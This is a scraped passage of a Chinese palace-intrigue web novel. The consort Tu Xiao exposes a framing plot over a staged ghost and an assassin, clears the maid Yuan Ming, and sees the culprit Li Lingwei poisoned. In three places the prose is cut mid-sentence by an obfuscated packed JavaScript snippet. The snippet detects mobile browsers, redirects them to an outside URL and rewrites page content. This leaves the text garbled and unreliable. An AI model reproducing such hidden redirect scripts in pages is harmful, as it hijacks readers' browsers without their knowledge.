一名太监疾步入内,手中高高捧着一件叠好的衣物:“拜见圣人,臣在守静宫洒扫宫女崔月柜中找到了一件新领的冬衣。衣衫的领口袖口皆是簇新,并无穿着痕迹,请圣人过目。” 常怀德接过,仔细查看,冲圣人点点头。 圣人道:“将人带来。” 宫女崔月被两个太监押了上来,她身形瘦小,比那夜所见的“女鬼”要矮上一大截,宽大的冬衣衬得她愈发单薄。 宫正司的女官上前一步,冷声喝问:“崔月,我问你,这件衣裳你可认得?” “认、认得……” “你为何要领新衣,衣裳又是如何损坏的?” “奴……奴婢添炭时没留神,衣裳叫炭盆撩了个窟窿。” “何时何地添炭?烧了多大的窟窿?旧衣裳现在何处?” “就在……就在……” 崔月眼神躲闪,支支吾吾,半天也说不出所以然。 常怀德冷哼一声,使了个眼色:“看来是不见棺材不掉泪。拖下去。” 崔月闻言双腿一软,猛然瘫倒在地,涕泪横流,尖声大叫:“都知饶命!是……是……是元司宫!是元司宫拿了我的衣裳!” 她闭了闭眼,竹筒倒豆子般喊道:“前几日,元司宫寻我借衣裳一用。我……奴婢不敢不给,谁知她一去不还,只说是不小心烧坏了,回头赔了奴婢一件新的,又给了奴婢些银子,还……还威胁奴婢,若敢说出去,便要奴婢好看!” 常怀德啧啧两声,得意道:“早交代不就好了?你职责本是洒扫庭除,添炭一事历来是旁人负责。还敢欺瞒圣人,我看你是不要命了!” “圣人恕罪,圣人恕罪!”崔月连连磕头告饶。 常怀德与宫正司那女官耳语几句,补充道:“还有一事。事发当夜守静宫本非元鸣当值,是她主动与司宫李令微换了班。” 圣人眉心蹙得更紧,挥了挥手:“将元鸣、李令微,还有章简一并传来。” 章简就立在门外,已将殿内的对话听得一清二楚。 他心中乱成一团麻。 此次事件唯一的物证,便是他从刺客身上扯下的那片衣角。顺着这条线索查到元鸣,那元鸣便是刺客,也只能是刺客。 但元鸣并非有武功之人,扮鬼还差不多,若是行刺,她有这个本事么? 他总觉得不对。 刺客,“女鬼”。 有了线头的两端,顺着线索分别捋下去,理应会汇在一处。 可如今却是越捋越乱,疙瘩越抻越紧了。 他脑中蓦地闪过一个可能。 万一…… 万一那扮鬼之人与刺客,并非一人呢? 还有,还有…… 是了,还有头发! 那泼墨一般铺散在屋脊的发丝,那锦缎一般柔顺的秀发,分明只有最外层被夜雨打湿。 海棠苑水深草密,水草纠缠如臂,滑腻如蛇。 若要扮作溺死的女鬼,必要从头到脚浸得透湿,发丝更该如水草般紧贴面颊,遮挡容貌。 女鬼和刺客,绝非一人! 定是十三刀与宫中内应里应外合,后见行踪败露,她借机遁走,只留下这枚内应独自顶缸。 如今刺客已然出宫,这内应便只有两条路可走—— 一是只认装鬼,不认行刺。眼下人人皆认定二者为一人,此案便无论如何也圆不上。既有疑点,便无法定罪。 然而此招凶险,后宫断案本就不讲证据,全凭圣人独裁。 第二条路,便是全盘招认,速速结案,皆大欢喜。 谁都知道,刺客行刺不成,必不会久留宫中。 可谁敢说刺客已然逃走? 抓不到刺客,圣人、内侍省、皇城司、禁军……他们该如何向官家交差? 眼下最要紧的不是查出谁是真凶,而是要寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四目相对,屠骁笑了。 那笑容轻浅,一如往常般淡然清澈。 元鸣的心却一寸寸沉了下去。 她明白了,这是一个局。 幕后之人大费周章,绝非只为她一个小小女官而设。 事到如今,人证物证俱全,她百口莫辩。 即便娘娘有心救她,也是千险万阻、难于登天;若是娘娘要壮士断腕,保全自身…… 元鸣心绪翻滚,不敢再想。 她强忍住泪,脸上竟慢慢镇定下来。 即便希望渺茫,她还是想争上一争。 “当日章掌事与刺客交手,想必也见过那人身法。”她张开双臂,转向章简,“我是否是刺客,章掌事一认便知。” 章简迈步上前:“圣人,为免刺客当殿行凶,不必过招。臣只需查探其筋脉步法,便知分晓。” 圣人道:“允。” 章简的目光在元鸣身上比量了一下,示意她迈出两步,又探手抓住她的手腕,一缕内息渡入脉门。 元鸣初时紧张得浑身僵硬,后来反倒平静了。 她不信以章简的武功,会察觉不出她身无寸缕的内力。 章简伤未大好,一边气喘,一边踱步。 查探已毕,他松开手,冲元鸣颔首:“得罪了。” 元鸣提着的一口气终于放下,扬起下巴,等待章简为她澄清一切。 章简却不看她,转过身,笑吟吟道:“回圣人,臣无法辨认。” 14. 棋子 章简话音落定,元鸣脸上的笑意便定住了。 无法辨认? 他怎么可能无法辨认? 他无法辨认,那还有谁有资格辨认? 元鸣脸上的笑意没有褪去,却再无半分暖意,只在唇角凝成一抹说不出的凄然与决绝。 她怔怔地望着章简,方才还盛满希冀的眼眸只余下一片死灰。 原来这是一场早已定好的输赢。 连章简都不肯帮她,她一个无根无凭的宫人,又该拿什么去搏? 大人物的筹码是小人物,小人物的筹码便只有自己——自己的命。 如今她赌输了,命该如此,她无话可说,亦不后悔。 她只是不甘,不甘心输得这样快,不甘心到头来连那执棋之人的面目都未曾看清。 可不甘又能如何呢? 她不再言语,身子一软,颓然坐倒在地,任由四周吵闹喧嚣,脸上再也泛不起半点涟漪。 章简的理由很正当。 “那刺客善伪装,臣与其交手甚短,如今又有伤在身,因而无法辨认。” “无妨!” 章简话音未落,常怀德已然高喝出声,满面红光,仿佛殿中盛开的繁花都及不上他的得意。 他快步上前,居高临下地睨着元鸣:“你还有何可辩驳的?” 元鸣一动不动,仿若未闻。 常怀德转向圣人,躬身道:“臣以为,元鸣扮鬼行刺,罪证确凿,当严加审问,务必审出其幕后主使!” 他眼角余光不住地瞟向一旁安坐的屠骁,忽的笑道:“昭仪娘娘以为如何?” 屠骁这才将手中那盏茶汤放下。 方才满殿风云变幻,她却似置身事外,只专心致志地品着那盏茶。 这据说是天下最好的贡茶,她细细咂摸、慢慢回味,只觉香气浓了些、滋味醇了些,与十文一碗的茶汤无甚区别。 饮下去,终归不过是提神醒脑的作用罢了。 她抬起头,淡淡道:“我当然同意。不过,我还有句话要说。” 什么证据确凿,什么无法辨认,不过是疯子演给傻子看的戏罢了。 要害人便害,要杀人便杀,何必还需这样大费周章、搭台鸣锣? 大戏落幕,便能将黑的扭成白、白的污成黑么? 常怀德面上一僵,随即又堆起笑容:“昭仪娘娘有话只管说,一切自有圣人裁决。” “我有一点想不通。” 茶盏放在桌上,发出轻微一声脆响,屠骁抬眼望向章简。 自说完那句推脱之言,章简的目光便不曾离开过屠骁。 他只见她静坐品茗,不见半分波澜,此刻终于对上她的视线,心头竟无端一跳。 “章简,”屠骁开口,声音清冷,“你上回与我说过,你任权都知有三年了。” 章简唇边的笑意未减分毫:“正是。” “你既主管人事,守静宫的宫人想必也是经你调拨。你可清楚元鸣的底细?” 章简早料到她有此一问,不慌不忙地回道:“奉乐十八年九月,内侍省于泸州选召宫女。泸州司法参军元放之次女元鸣,经内侍省核验入宫,初入掖庭为杂使宫女,于半月前调入守静宫任司宫。” 屠骁眉梢微微一挑,已知他早有准备,接着问:“此事是否经你手?” “正是。” “你忘了一件事。” 章简忽的低头,压着嗓子咳嗽起来,待咳嗽平复,才带着更深的笑意道:“哦?娘娘所说的是哪件事?” 这狗东西,分明成竹在胸,还做出一副疑惑的样子,实在虚伪! 屠骁心中暗骂,面上却配合道:“你还忘了,她没有武功。” 章简颔首:“的确,元鸣当年入宫时并无武功。” “那么,”屠骁追问,“一个人,可能在短短两年之内,练成一身高强武艺,甚至将你都比下去么?” 章简垂头自谦:“娘娘谬赞了,臣武功浅薄,不堪一击,否则也不会叫那刺客逃脱了。” 话音未落,屠骁已然站起身,缓步走到章简面前。 章简垂着眼,只看到一双云纹绣鞋停在自己身前,殿内的琉璃灯火将她的身影拉得颀长,几乎将他弯折的影子全然盖住。 女子身上特有的暖意扑面而来,章简却只觉得冷。 那是凛然、蒸腾的怒意,如山般压下,竟叫他有种似曾相识的错觉。 他心中忽而生出几分窃喜。 他自然清楚元鸣的底细,她绝无可能与江湖人扯上干系。 宫中唯一能与十三刀有关的,便只有眼前这位万昭仪。 他早就看出万昭仪急公好义,爱憎分明,自入宫以来与元鸣最为亲厚。眼见元鸣蒙冤,她断无坐视不理的可能,届时少不得要仗义执言、自乱阵脚。 看她反应,他倒是没想到,她似乎对此事早有察觉。 “你明知一个武功全无之人,断无可能在短短两年内突飞猛进,将你打败。” 屠骁的声音近在咫尺,“两年前你没查出元鸣有武功,半月前你没查出元鸣有武功,如今你却说无法辨认。犯下欺君之罪的人,难道不是你么?” 章简本可辩解,说自己当年学艺不精,查验有误;也可说元鸣深藏不露,伪装得天衣无缝。 一个人若能将本事藏一辈子,与没有本事又有什么分别? 可他没有开口。 他只是躬着身子,无奈地叹了口气。 屠骁忽然伸手,托起他的手腕,章简身子一僵,顺着力道抬起头来。 目光交撞,一个笑,一个怒,两人皆从对方的眼神中嗅出几分端倪—— 这太监再可恨,终究还是守静宫的掌事,她此次一心救元鸣,不打算揪住他不放。 而他呢,即便真犯了欺君之罪,也自有脱身之法,此刻亦不想将她逼入绝境。 他也有些好奇,这位昭仪娘娘究竟还留了什么后手? 屠骁的目光掠过他为难的面孔,忽地大声道:“我知道你有苦衷。若非为人所迫,又哪至于含糊其辞呢?” 这话一出,章简立刻心领神会,飞快地瞥了一眼常怀德,低声道:“这……咳咳,臣不敢。” 说罢,又是一阵剧烈的咳嗽。 语气里的委屈与无奈,是个人都听得出来。 常怀德心头一凛,急忙望向圣人。 圣人虽容貌娇憨,可到底在宫中沉淀了几十年,往常只要一瞧她的双眼,常怀德便能瞬间领会她的心意。 但此刻,她闭目斜眉,似是睡着了,又似极为不耐。 常怀德拿不准圣人的意思,只得干笑着为自己开脱:“这宫中上下,皆是按宫规办事,谁又敢强迫章掌事呢?章掌事别说笑了。” “好,我便与你说宫规。” 屠骁转向常怀德,“我这些时日抄写宫规,也算有些心得。《宫规》有言,若有诬告陷害者,以其罪罪之。” 她目光一转,落在始终静立一旁的李令微身上:“我说得可对?” 李令微神色冷静,躬身道:“娘娘所言甚是。” 屠骁却不等她话音落下,身形一晃,已欺至她身前,一把揪住她的衣领:“那你解释一下,为何你衣裳的内衬是后缝上去的?” 李令微脸色骤变,脱口而出:“不可能!” 她下意识翻来自己的领口,又想解开衣衫自证清白。 “是不可能,”屠骁冷冷道,“因为你真正的衣裳,早已给了旁人。” 李令微动作一顿。 “你的绣工是极好的,可改过的衣裳总会留下痕迹,更何况你要避人耳目,偷偷摸摸,总不可能做得天衣无缝。” 屠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031284|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骁松开手,信手一指那件作为证物的冬衣。 “这件新领回来的冬衣,与崔月身上那件虽长短相同,却明显更合她的身形。叫人不得不疑心,崔月现在穿的衣裳,究竟是谁的?” 殿中所有人的目光都落在了崔月身上,她面如金纸,冷汗涔涔。 “冬衣……宽、宽大些,也是正常……奴、奴婢……” 屠骁单手便将崔月从地上拎了起来。 “你到了此时还不肯承认,借走衣裳的另有其人吗?” 崔月下意识想去看李令微,却猛然回神,死死按住自己转头的冲动。 “你应该早就发现,这件衣裳并非你原本那件,也知道这是李司宫故意改小了尺寸还给你。但你或许没想到,这件衣裳,便是她扮鬼时所穿的那一件! “她回屋后发现衣裳破损,料到现场会留下证据,索性将衣衫的袖口、裙摆裁去一截,改小了尺寸,与你做了交换! “毕竟有谁会想到,罪证非但没有被销毁,还被好好穿在身上呢? “你起初或许不知这衣裳是如此重要的罪证,如今既已明了,却仍帮着她栽赃嫁祸。 “怎么,她是救过你的命么?还是你有什么把柄在她手上?” 每说一句,崔月的脸色就白上一分,到了最后,她已是吓得魂飞魄散,一个字也说不出了。 李令微的脸色几番变换,最终却又恢复了冷肃:“娘娘这番话为何不早说?如今提起,倒像是强词夺理了。” “早说晚说又有何妨?当晚只有你我二人清醒,扮鬼的既然不是我,还会是谁呢?” 屠骁惋惜道,“你做的梨汤一定很好喝,可惜,我不喜欢吃梨。” 可我明明看你喝下去了! 这话李令微没有说,事到如今,即便说了也没用。 她浑身一震,死死垂着头,不再言语。 常怀德一张脸阴沉得几乎要滴出水来。 他知道,尚服局绣娘众多,总有法子能辨认出衣裳是否拆改过、是谁的针法。 李令微再如何辩解,也是无济于事。 “其实我还有一个疑惑,”屠骁的目光如利剑般刺向李令微,“你又是如何得知那司药死得冤屈呢?莫非……你知道真凶是谁?” “好了!” 圣人打断了屠骁的话,终于舍得睁开眼。 目光却是落在章简身上,声音里满是疲惫:“你可知罪?” 章简闻言立刻跪倒,背上的伤口被牵动,疼得他嘶声连连,却还是重重叩首:“臣知罪,臣甘愿受罚!” 圣人此话一出,常怀德便知大势已去。 她问的罪,自然是“无法辨认”的期瞒之罪,元鸣的罪责自然也不再成立了。 常怀德心中暗叹一声可惜,今日只能止步于此了。 除了那刺客与女鬼,若说在场还有谁知道此二者并非一人,那便只有他了。 扮鬼一事,本是他设下的局,想引着万昭仪去查先淑妃的死因,谁知竟阴差阳错撞上了行刺的刺客。 若抓到刺客,大可顺水推舟,将扮鬼之事一并推到刺客身上。 可恨禁军那帮废物,竟叫刺客逃了! 刺客既已逃脱,又有无可辩驳的证物,便只能舍掉李令微这枚棋子,将她当作刺客交差了。 归根结底,还是他低估了这位昭仪娘娘,用了一个蠢人,想了一个蠢法子,如今被人抓了现行,也只能自认倒霉。 好在这宫里最不缺的就是棋子。 常怀德理了理袖口,走到李令微面前,板起脸孔,厉声喝道:“章简一事稍后处置。李令微,你假扮刺客,袭击内官;又装神弄鬼,毒害宫妃;更栽赃嫁祸,陷害同僚。依宫规,当处绞刑!你可认罪?” 一旁的崔月闻言大哭:“李司宫,你分明不是——” “住口!” 15. 又是畏罪自戕 “我认罪!” 李令微猛地大喝一声,止住了崔月的话。 屠骁提醒道:“常都知就不试一试她是否有武功么?” 不等常怀德开口,李令微已抢着说道:“不必了!” 她看也不看常怀德,只死死盯着元鸣,目光却似穿透了她,望向虚无的远方。 “是我栽赃陷害,是我给你们下了药。我本没打算将你牵扯进来。可我实在太恨你! “我恨同样是司宫,为何娘娘独独待你这么好!我更恨,即便到了现在,娘娘也不曾怀疑过你一分一毫!” 元鸣的面上冰冷一片,积蓄已久的泪水随着这话轰然滚落,口中讷讷,一时不知是悲是恸,还是感动。 屠骁不屑道:“你没有真心,又奢求真心,世上哪有这样便宜的事?” 常怀德冷哼一声,拂袖转身:“既已认罪,便将人送往——” “慢着!” 话音未落,屠骁陡然一声断喝,一个箭步冲上前来。 殿内太监们一拥而前,将圣人护在身后。 众人一怔,纷纷后退半步,却在见屠骁动作时悚然变色。 只见被她手臂托着的李令微,双目圆睁,嘴唇不住抽搐,面色迅速变得灰败,一缕黑血顺着口唇溢出,身子一软,便直愣愣地往后倒去。 是毒! 屠骁来不及细想,左手暗自点了穴道;右手扶住她的后脑,食中二指快如闪电,已将一根藏于指间的银针刺入她脑后风府、哑门、天柱几处大穴。 这封针术可以暂时凝固血脉,延缓毒发。 她收回针,伸手探了探李令微的颈侧,尚有微弱脉搏,心中稍定,猛地回头,怒视常怀德。 “你这是杀人灭口!” 常怀德不着痕迹地后退半步,捻着袖边,矢口否认:“此事与臣没有半分关系!请圣人明鉴!” 圣人终于失去所有耐心,神色淡漠道:“此人不论死活,都要留着,待官家回来定夺。其余所涉之人,一概按宫规处置。” 看向屠骁时,那张淡漠的脸上才多了几分神情。 “万昭仪约束宫人不严,致生事端,禁足守静宫三月,罚抄《宫规》和《女戒》百遍,静心思过。” 屠骁却铿锵道:“李令微中毒一事,还请圣人彻查!” 她早知道这世上没有公道,也不会指望谁来替她主持公道。 可李令微想要害人是一回事,当着自己的面被灭口又是另一回事。 她被人刺杀过,也杀过人,正因如此,她才更清楚性命的宝贵,才没有成为一个穷凶极恶的亡命之徒。 为什么,为什么这些人偏偏不拿人命当一回事? “放肆!” 圣人一双圆眼本是天真娇憨,此刻瞪得又大又鼓,眉毛拧在一处,神情蓦地变得十分阴沉。 “后宫之中,安定为要,罪魁祸首已然认罪伏法,畏罪自戕,你还有什么不满足?非要搅得天翻地覆吗?有什么委屈,待官家回来,当面与他分说便是!” 屠骁气血上涌,双目赤红。 她并非心软,也并非全然为了李令微而恼怒,而是叫“畏罪自戕”四个字搅动了最深、最美好的回忆。 柳娘在这里过的就是这样的日子吗? 她会不会也是这样死的? 圣人拂袖便走,口中低声吐出四个字:“自作聪明。” 常怀德连忙跟上前去,殷勤地扶住圣人的手臂。 屠骁却不肯罢休,追在身后高喊:“李令微并非畏罪自戕,而是遭人灭口,而毒就藏在常怀德的袖口!” 圣人被她彻底激怒,猛地转过身,正待发作,却有人先她一步开了口。 “更深露重,吵嚷什么?” 循声望去,只见一个身披狐裘大氅的女子缓步而入。 她像是刚被吵醒,未施脂粉,发间只插一根碧玉簪,周身不见半点珠光宝气,却自有一股出尘脱俗的仙姿。 宁妃行了礼,不待圣人开口,便寻自己寻了椅子坐下,瞥见手旁喝了一半的茶汤,又嫌弃地站了起来。 圣人眉头拧紧,语气却缓和下来:“这就是你教的规矩。” 宁妃看着屠骁,讥笑道:“我告诫过你,安分守己,不要无事犯蠢,又命女官教导你宫中礼仪。你当真是半个字都听不进去。既如此,往后便到我的云笈阁来吧,我亲自教你规矩。” 圣人懒得理会此事,挥了挥手,转身离开。 “散了吧,往后不必来我跟前。” 李令微和崔月很快被内侍押了下去。 宁妃的目光在屠骁、章简和元鸣三人之间转了一圈,最后落在屠骁身上,冷冷道:“我今日见识到了,原来蠢笨也是会传人的。” 说罢,也施施然地走了。 清微宫的香气散了,殿内重归寂静,只有香花细蕊在金钩银索下轻轻摇晃。 圣人倚在软垫上,闭目小憩。 尚宫上前,悄无声息地为她褪下绣满宝相花的外袍,又取来一条薄毯盖上,而后敛衽躬身,倒退着出了殿门。 烛火投出摇曳的光影,光更沉,影更暗。 待人都走干净了,一直侍立旁侧的常怀德才有了动作。 他跪倒在地,膝行上前,悄无声地蹭到圣人脚边。 他知道圣人没睡着,也知道圣人这是动怒了,便不敢多言,只伸出手,小心地为圣人捶着腿。 殿内静得能听见烛芯燃烧时爆出的轻微“噼啪”声。 半晌,那软垫上才传来一声叹息。 “她一个小孩子,你本不必理会的。”声音轻飘飘的,却叫常怀德神色一凛。 他抬眼望去,圣人依旧闭着眼,长长的睫羽在眼下投出一片阴影。那张脸依旧温柔、美丽、动人,却不再年轻了。 他的脸颊抖动起来,连带着幞头上簪着的山茶花也跟着颤了三颤。 “臣一心都是为了娘娘!” 他缓缓开口,委屈道,“宫里容不得这般没规矩的人,她如此不知好歹,一入宫便冲撞宫妃,闹得鸡犬不宁。臣不过是出手管教一二,既替众人出气,也是替娘娘分忧。” 他说着,面上浮起一层阴狠的杀气,声音也压得更低,蛇一般贴地游走。 “杨荔那厮参了二郎君一本,借二郎君在云州修建长生观一事大肆攻讦,害得二郎君至今还在大狱里关着,相爷也为此受了申饬。此仇不报,臣寝食难安!” 周家世代显贵,朝中势大,官家有意扶持宁妃母家杨家与周家抗衡。 杨氏一族在朝中虎视眈眈,此番揪住圣人亲侄子强征劳力、霸占民田的错处不放,大有要借此扳倒周相的架势。 “呵!” 圣人被这话逗笑了,缓缓睁开眼,凝望着常怀德:“你倒是真心疼他,他爹爹和翁翁都没说什么呢!” 你一个太监倒是先叫唤上了,你也配么? 不过这话圣人是不会说的。 若非迫不得已,她总是不忍心叫人难过,何况这人一向对她十分忠心。 常怀德讪笑两声,一时语塞。 圣人伸出手,笑着拨弄着身旁花篮里探出的山茶,柔夷在粉嫩的花瓣中更显白皙。 “前朝是前朝,后宫是后宫,他们斗法,与我何干?只要官家爱重我,这中宫之位便谁也夺不走。我已是一国之后了,还奢求什么呢?” 常怀德也笑,却笑得心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那太监眼皮一掀,皮笑肉不笑:“静思己过四个字,你认得吗?你当昭仪娘娘是来玩的?” 元鸣定定地看着他。 那太监被她看得有些发毛,正要呵斥,元鸣却已将目光收了回去,恭敬地应是,老老实实地退到一旁。 她已明白谨言慎行的道理,实在不敢再给娘娘招惹祸端。 圣人身子骨弱,又醉心花草,大半宫务都落在宁、德二妃身上。 李令微挣扎两日,还是死了,宁妃为此又有好一番忙乱。 屠骁名为禁足,实则被关在云笈阁后头的小楼里抄书度日,除了没有自由外,一应饮食用度倒是不曾缺过。 她本以为,参拜礼时那场泼茶闹剧是宁妃的授意。 可如今她人就在云笈阁,宁妃分明有无数机会,偏偏一次也未曾单独召见过她,也没说过任何教训的话,仿佛已将她这个人彻底忘了。 反倒是林婕妤,时不时会带着宫人在楼外聒噪。 被屠骁扔过两次纸团、吐过两次口水,她更是气得怒发冲冠,日日卯足了劲来隔窗对骂,倒是为枯燥的日子带来不少乐趣。 可一碰上章简,林婕妤便像老鼠见了猫,偃旗息鼓,噤声不语。 章简虽已不是权都知,但宫人们对他的畏惧似乎并未消减分毫。 众人既不愿触他的霉头,也不想与他攀谈,只要他往小楼门口一站,来往的宫人便会远远避开,绕道而行。 屠骁正愁没机会偷懒,见此情形,哪里还有不高兴的道理? 16. 她的态度 章简方在小楼门口站定,正待叫门,忽听头顶“吱呀”一声轻响。 他下意识抬头,正见楼上那扇雕花木窗被推开,一个脑袋探了出来。 左右张望一圈,看清门口立着的人,她忽的扬起一个灿烂的笑脸,而后半个身子都挂在窗外,冲他招手。 “你可算来了!” 章简的心怦怦乱跳。 许是内力受损的缘故,他连呼吸也是乱的。 不知道为什么,他近来神思不属、夜梦频频,总是忆起八年前的事,心中不大安宁。 梦里的他逆着时间行走,看见血肉模糊的自己,看见满面怒容的干爹,看见那场大火,看见桃源山,看见桃花,看见笑脸。 忽的,那笑脸变成泪水,变成怒吼,变成镶着宝石的钢刀。 半醒半醉日复日,花落花开年复年。 人能长醉不醒,花能四时常开,可惜时光无法倒流,破镜再难重圆。 失神片刻,他哑然失笑:“娘娘,小心。” 屠骁冲他做了个噤声的手势,便“砰”地一声关上了窗子。 楼里传来一阵“噔噔噔”的脚步声,自上而下。片刻后,小楼的门“吱呀”一声开了条缝。 她从门后闪身出来,活动着手腕脚腕,脸上满是兴奋好奇。 “我出去透透气,你就站在这里,不要声张。” 章简还没来得及开口,她已提起裙摆,一溜烟跑得没了影。 也是,整日望着窗外的曲水流觞、亭台楼榭,却只能关在房里抄书,是个人都会被憋坏的。 何况是她呢? 他望着她消失的方向,眼神悠远,思绪也随着飘远了。 “章掌事的伤好些了?” 身后,元鸣的声音响起。 章简转身,见她不知何时已站在门内,便笑道:“用了娘娘赏的清淤膏,已大好了。我说怎么瞧不见人,原来元司宫在屋里。” 元鸣客气道:“宁妃娘娘见娘娘勤奋,这才特意恩准我进屋伺候。” 章简看着她别开的视线,道:“元司宫还在怪我。” 元鸣默然片刻,才轻轻叹了口气。 “我怪谁也怪不到你的头上。娘娘说了,此次刺客入宫,你又失了权都知之位,已是腹背受敌,为了自保也是无可厚非,叫我千万不要对你心生芥蒂。能不落井下石,我已是感激不尽。” 其实屠骁的原话是—— 狗急了会咬人,人却不能真的咬回去。 “往后的路还长着呢,我和娘娘还要仰仗章掌事照拂。” 非但不能咬回去,还得好吃好喝地伺候着,否则,谁来替你看家护院呢? 元鸣话说得真诚,笑得也真诚,就连章简也没有怀疑这话的真假。 宫里讨生活的人似乎都很擅长说漂亮话。 章简倒是一怔,他着实没想到昭仪娘娘竟会出言维护,一时竟搞不清她对他的态度。 她似乎很享受捉弄和羞辱他带来的乐趣,却又从未真正害过他,反而时不时地会流露出几分关切和欣喜。 她明明年纪尚轻,却似乎已历尽千帆,仿佛没有东西能左右她,也没有人能动摇她。 恩仇如流水,自她胸中奔涌而过,形成纵横交错的沟壑。 他很好奇,万家究竟是怎样的风水,竟能养出万淑妃和她这样截然不同的两个人。 他更加好奇,这样一个心思几乎全写在脸上的万昭仪,当真守得住长生箓的秘密吗? 深秋时节,百花尽谢,云笈阁的后苑却不显萧索。 苑中没有杂植,只垒着几座玲珑剔透的太湖石假山,山石缝隙间探出几株虬结的古松。 针叶苍翠,配着地上铺的白砂,自有一番枯山水的意境。 远处一池碧水,几名宫人挽着袖子冻得,手脸通红,正拿着长杆网兜小心地往外捞着锦鲤。 再过些时日便入冬了,这些金贵宝贝跟人可不一样,受不得一丁点儿风霜。 屠骁盘腿坐在假山的最高处,手肘支着膝盖,将苑中一切尽收眼底。 这位置是她精心挑的死角,她能俯瞰苑中大半景致,下面的人除非仰头细看,否则绝难发现她的踪迹。 这时,一阵窸窸窣窣的轻响从远处靠近。 那声音很碎,像一只野猫踩着枯叶觅食。 屠骁敛声屏气,悄悄探出头去。 只见一个麻杆儿似的孩子,约莫十来岁的身量,正鬼鬼祟祟地贴着山石根溜过来。 他身上穿着杏黄色的袍服,料子是上好的,只是样式简单,除了袖口领缘处用线绣了花纹,再无半点珠玉配饰。 左右张望一番,确认四下无人后,他身子一猫,便钻入假山的洞里。 屠骁翻了个身,从另一侧的石缝向下望去。 洞内光线昏暗,那麻杆儿一进去,便迫不及待地从怀里掏出个纸包。 纸是习字的废纸,油渍之下依稀可见之乎者也的字样。 打开来,竟是半只鸡腿。 他就地坐下,饿狼似的抓着鸡腿啃起来,好像吃完这顿就没下顿了似的。 三两下啃完了鸡腿,他尤嫌不够,又吮了吮手指。顾不得细细回味,又掏出个巴掌大小的木片,挽起袖子,吭哧吭哧地刨起坑来。 他身小力薄,刨了两下便气喘吁吁,却不敢停。 直到将鸡骨头和那木片一并埋好,又用脚踩实,这才长舒一口气,美滋滋地笑起来。 “噗!” 他笑了一阵,猛然发现这笑声中夹了一道不属于自己的声音。 麻杆儿浑身一僵,笑容凝在脸上。 他忙用袖子在嘴上抹了一把,警惕地四下张望,可此处空空荡荡,除了花草怪石什么也没有。 他暗道一声怪了,正待钻出洞去,那笑声又响了起来。 这次他听清了,声音是从头顶传来的。 他脸上血色尽褪,万分惊恐地抬起头,正对上一只嵌在石缝中的眼睛。 “啊唔……” 他嘴巴一张,便要大叫,却猛然想起自己是来偷吃的,这一嗓子喊出去,人就全招来了。只得慌忙闭嘴,却不偏不倚正咬在舌头上,疼得他又叫起来。 “哎哟!” 光暗了又明,一道人影从洞口矮身钻入。 山洞狭小,麻杆儿退无可退,只能眼睁睁看着来人逼近。 他后悔自己将鸡骨头丢得太早,连个防身的物件儿都没有,只得故意提高了声音,色厉内荏道:“你做什么?你是谁,我怎么没见过你?” 屠骁没答话,只将一根食指立在唇前,又朝洞外指了指:“你也不想叫人知道吧?” “知道什么?我什么也没做,怕什么?”他梗着脖子犟道,气势却软了下去。 “那你为何不敢出去呢?嘘,你听……有人正找你呢。” 麻杆儿神色变幻,侧耳倾听,果然听到远处有道尖细的声音在呼唤。 他面色一白,方才的虚张声势的顿时烟消云散,连声哀求道 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殷煊面露惧色,下意识后退一步,想要躲在屠骁身后。 不成想踩中一块石子,脚下一滑,整个人直挺挺地向后栽倒。 “啊———!” 尖叫响起,他却并没有摔在地上。 两只手同时扶住了他。 一只女人的手,一只男人的手,两只手交叠在一起,稳稳垫在他背下。 屠骁本就站在殷煊身后,出手相救自是理所应当。 可那太监分明离着还有几步远,却在瞬息之间便到了跟前,动作奇快,像是突然消失,又突然出现。 这样的人若是想杀人,想必会很容易吧?可这样的人若是杀了人,定然不会留下线索。 屠骁缓缓收回手,打量那太监。 那太监眸光一缩,视线在屠骁身上一扫,看清她的装扮,立刻躬身行礼:“见过昭仪娘娘。” 他说话干净利落,动作也利索,见完礼,便单手擒住殷煊的手腕,将人从地上拽到自己跟前。 殷煊又惧又怕,却不敢反抗,像只被捏住后颈的猫,顺从地被他拽走。 临走前,他还不忘回头冲屠骁挤眉弄眼。 “等等。”屠骁问那太监,“你叫什么?” “臣名吕自安,是云笈阁的押班。” 吕自安,不正是伺候过柳娘的太监么? “请吕押班借一步说话。”屠骁道。 吕自安眼皮一抬,推拒道:“臣急着带二大王回殿中练字,恐有耽搁。” “不急不急,我等得!”殷煊忙大声道。 吕自安飞去一眼,殷煊顿时讪笑一声,气焰全无。 屠骁不理,只冲殷煊露出一个深沉的笑,做了一个啃的动作。 殷煊后退半步,硬着头皮推吕自安:“你、你就随昭仪娘娘去吧。” 吕自安眉头一皱。 殷煊吓得缩了脖子,侧过脸去:“我自己回便是,我、我认得路……” 吕自安沉默片刻,只得应下。 他从前在淑妃身边,后调来宁妃处,这事没必要隐瞒,昭仪娘娘想过问姐姐的事,也是理所应当,他照实说了便是。 至于她信不信,那他可就管不了了。 可对方却问起了另一桩事。 “那个姓兰的宫女,是得了什么病死的?” 17. 毒药 屠骁本不想行动得这么快。 常年的流浪已经叫她养成了隐忍谨慎的习性。 